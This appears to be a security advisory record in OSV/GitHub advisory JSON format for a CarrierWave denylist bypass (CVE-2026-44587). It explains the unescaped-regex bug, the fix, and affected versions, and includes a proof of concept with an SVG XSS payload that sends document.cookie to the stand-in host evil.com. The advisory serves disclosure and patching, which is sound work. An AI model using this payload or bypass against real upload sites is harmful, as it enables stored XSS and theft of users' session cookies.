{"id":"GHSA-7g26-2qgj-chfg","summary":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","details":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb &\n\necho '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e' \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary","aliases":["CVE-2026-44587"],"modified":"2026-07-08T17:45:15.058151776Z","published":"2026-05-27T00:03:11Z","database_specific":{"nvd_published_at":"2026-06-17T13:20:40Z","cwe_ids":["CWE-116","CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-27T00:03:11Z"},"references":[{"type":"WEB","url":"https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44587"},{"type":"WEB","url":"https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"},{"type":"WEB","url":"https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"},{"type":"PACKAGE","url":"https://github.com/carrierwaveuploader/carrierwave"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-44587"}],"affected":[{"package":{"name":"carrierwave","ecosystem":"RubyGems","purl":"pkg:gem/carrierwave"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0.beta"},{"fixed":"3.1.3"}]}],"versions":["3.0.0","3.0.0.beta","3.0.0.rc","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.1.0","3.1.0.beta","3.1.0.rc","3.1.1","3.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g26-2qgj-chfg/GHSA-7g26-2qgj-chfg.json"}},{"package":{"name":"carrierwave","ecosystem":"RubyGems","purl":"pkg:gem/carrierwave"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.7"}]}],"versions":["0.1","0.10.0","0.11.0","0.11.1","0.11.2","0.2.0","0.2.1","0.2.3","0.2.4","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.5.1","0.3.5.2","0.4.0","0.4.1","0.4.10","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0.beta2","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.7.0","0.7.1","0.8.0","0.9.0","1.0.0","1.0.0.beta","1.0.0.rc","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","2.0.0","2.0.0.rc","2.0.1","2.0.2","2.1.0","2.1.1","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7g26-2qgj-chfg/GHSA-7g26-2qgj-chfg.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}]}